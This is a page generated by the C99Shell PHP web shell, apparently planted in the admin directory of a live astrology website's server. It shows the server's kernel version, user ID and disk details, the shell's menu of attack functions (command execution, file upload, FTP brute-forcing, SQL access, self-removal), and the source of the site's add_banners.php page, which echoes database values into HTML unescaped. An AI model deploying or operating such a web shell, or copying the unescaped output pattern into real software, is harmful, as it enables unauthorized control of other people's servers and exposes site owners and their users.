!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux web25.us.cloudlogin.co 5.10.237-xeon-hst #1 SMP Mon May 5 15:10:04 UTC 2025 x86_64 

uid=233359(alpastrology) gid=888(tty) groups=888(tty),33(tape) 

Safe-mode: OFF (not secure)

/home/www/jothidam.tv/admin/   drwxr-xr-x
Free 3292.99 GB of 8036.16 GB (40.98%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     add_banners.php (2.75 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include('include/header.php');
include(
'include/conn.php');
error_reporting(E_ALL);
ini_set('display_errors'0);
$ban_id = isset($_GET['ban_edit']) ? intval($_GET['ban_edit']) : null;

if (
$ban_id) {
    
$ban_sql "SELECT * FROM banners WHERE ban_id = $ban_id";
    
$qry mysqli_query($conn$ban_sql);
    if (
$qry) {
        
$res mysqli_fetch_assoc($qry);
    }
}
?>

<link href="https://cdn.datatables.net/1.12.1/css/jquery.dataTables.min.css" rel="stylesheet" type="text/css">
<link href="https://cdn.datatables.net/buttons/2.2.3/css/buttons.dataTables.min.css" rel="stylesheet" type="text/css">

<style type="text/css">
    .dt-buttons {
        width: 50%;
    }
</style>

<!-- begin MAIN PAGE CONTENT -->
<div id="page-wrapper" style="min-height:142vh;">
    <div class="page-content">
        <!-- begin PAGE TITLE ROW -->
        <div class="row">
            <div class="col-lg-12">
                <div class="page-title">
                    <?php

                    
if (empty($ban_id)) {
                        echo 
" <h1>Add New Banners</h1>";
                    } else {
                        echo 
" <h1>Banner Edit</h1>";
                    }

                    
?>

                </div>
            </div>

            <div class="col-md-12">
                <form action="./actions/insert_banner.php" method="post" enctype="multipart/form-data">
                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="art_title" class="">Banner Title</label>
                            <input type="text" name="banner_title" class="form-control" id="banner_title" value="<?= $res['ban_title'?>">
                        </div>
                    </div><br>
                    <input type="hidden" name="ban_id" value="<?= isset($res['ban_id']) ? $res['ban_id'] : '' ?>">

                    <div class="col-md-10">
                        <div class="form-group">
                            <label for="img_alp" class="">Banner Image</label><br>
                            <img src="<?= $res['ban_image'?>" alt="" style="width: 150px;margin-bottom: 10px;">
                            <input type="file" name="banner_image" class="form-control" id="banner_image" required>
                        </div>
                    </div><br>

                    <div class="col-md-12" style="margin: 20px;">
                        <input type="submit" name="banner_submit" value="Submit" class="btn btn-success text-white" style="width: 80%;">
                    </div>
                </form>
            </div>
        </div>
        <!-- /.col-lg-12 -->
    </div>
    <!-- /.row -->
</div>
<!-- /.page-content -->
</div>
<!-- /#page-wrapper -->

<!-- begin FOOTER -->
<?php include('include/footer.php'); ?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0112 ]--